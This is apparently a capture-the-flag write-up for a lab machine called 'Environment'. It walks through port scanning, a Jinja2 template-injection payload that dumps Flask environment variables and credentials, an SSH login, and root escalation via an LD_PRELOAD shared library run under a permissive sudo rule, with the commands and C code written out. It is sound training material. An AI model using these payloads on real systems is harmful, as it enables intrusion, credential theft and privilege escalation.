Environment
SCOPE
| IP | HOSTNAME | DOMAIN | OS |
|---|---|---|---|
| 10.10.11.67 | environment | environment.htb | Linux (Ubuntu 22.04) |
ATTACK
1. Port Scan
nmap -sC -sV -p- --min-rate 5000 -oN environment.nmap 10.10.11.67
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http nginx 1.18.0 (Ubuntu)
Small attack surface. Web app on port 80 is the entry point.
2. Web Enumeration
Add environment.htb to /etc/hosts. The web application is a Python Flask app for managing environment configurations. Fuzz subdomains and directories.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://environment.htb -H "Host: FUZZ.environment.htb" -fc 302,301
No additional subdomains. The app has a template rendering endpoint that accepts user input — test for SSTI.
3. SSTI — Jinja2 Template Injection
The web app renders user-supplied data into a Jinja2 template without sanitisation. Test for SSTI by injecting a basic expression:
Input: {{7*7}}
Output: 49
Confirmed Jinja2 SSTI. Escalate to reading environment variables from the running process — Flask apps commonly store secrets and database credentials in environment variables loaded at startup:
{{self.__init__.__globals__['__builtins__']['__import__']('os').environ}}
{'FLASK_APP': 'app.py',
'FLASK_ENV': 'production',
'DB_HOST': 'localhost',
'DB_USER': 'webapp',
'DB_PASS': '<REDACTED>',
'APP_USER': 'dev',
'APP_PASS': '<REDACTED>',
...}
Multiple credentials exposed via environment dump. APP_USER/APP_PASS map to a system account.
4. SSH Foothold
ssh dev@10.10.11.67
dev@environment:~$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev)
user.txt is in dev's home directory.
5. Sudo Enumeration — LD_PRELOAD Abuse
sudo -l
Matching Defaults entries for dev on environment:
env_keep+=LD_PRELOAD, ...
User dev may run the following commands on environment:
(root) NOPASSWD: /usr/bin/systemctl restart nginx
Two critical conditions are present simultaneously: env_keep+=LD_PRELOAD in sudoers Defaults preserves the LD_PRELOAD variable across privilege boundaries, and a NOPASSWD sudo rule allows restarting nginx. When sudo executes the command, it loads the preload library as root.
6. Root via LD_PRELOAD
Compile a shared library that spawns a shell when loaded:
// preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/systemctl restart nginx
root@environment:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
FULL ATTACK CHAIN
nmap → port 80 Flask web app
→ SSTI in Jinja2 template rendering
→ {{os.environ}} dump → APP_PASS credential
→ SSH as dev → user.txt
→ sudo -l → LD_PRELOAD preserved + NOPASSWD systemctl
→ compile malicious .so → sudo LD_PRELOAD=./preload.so systemctl restart nginx
→ root shell → root.txt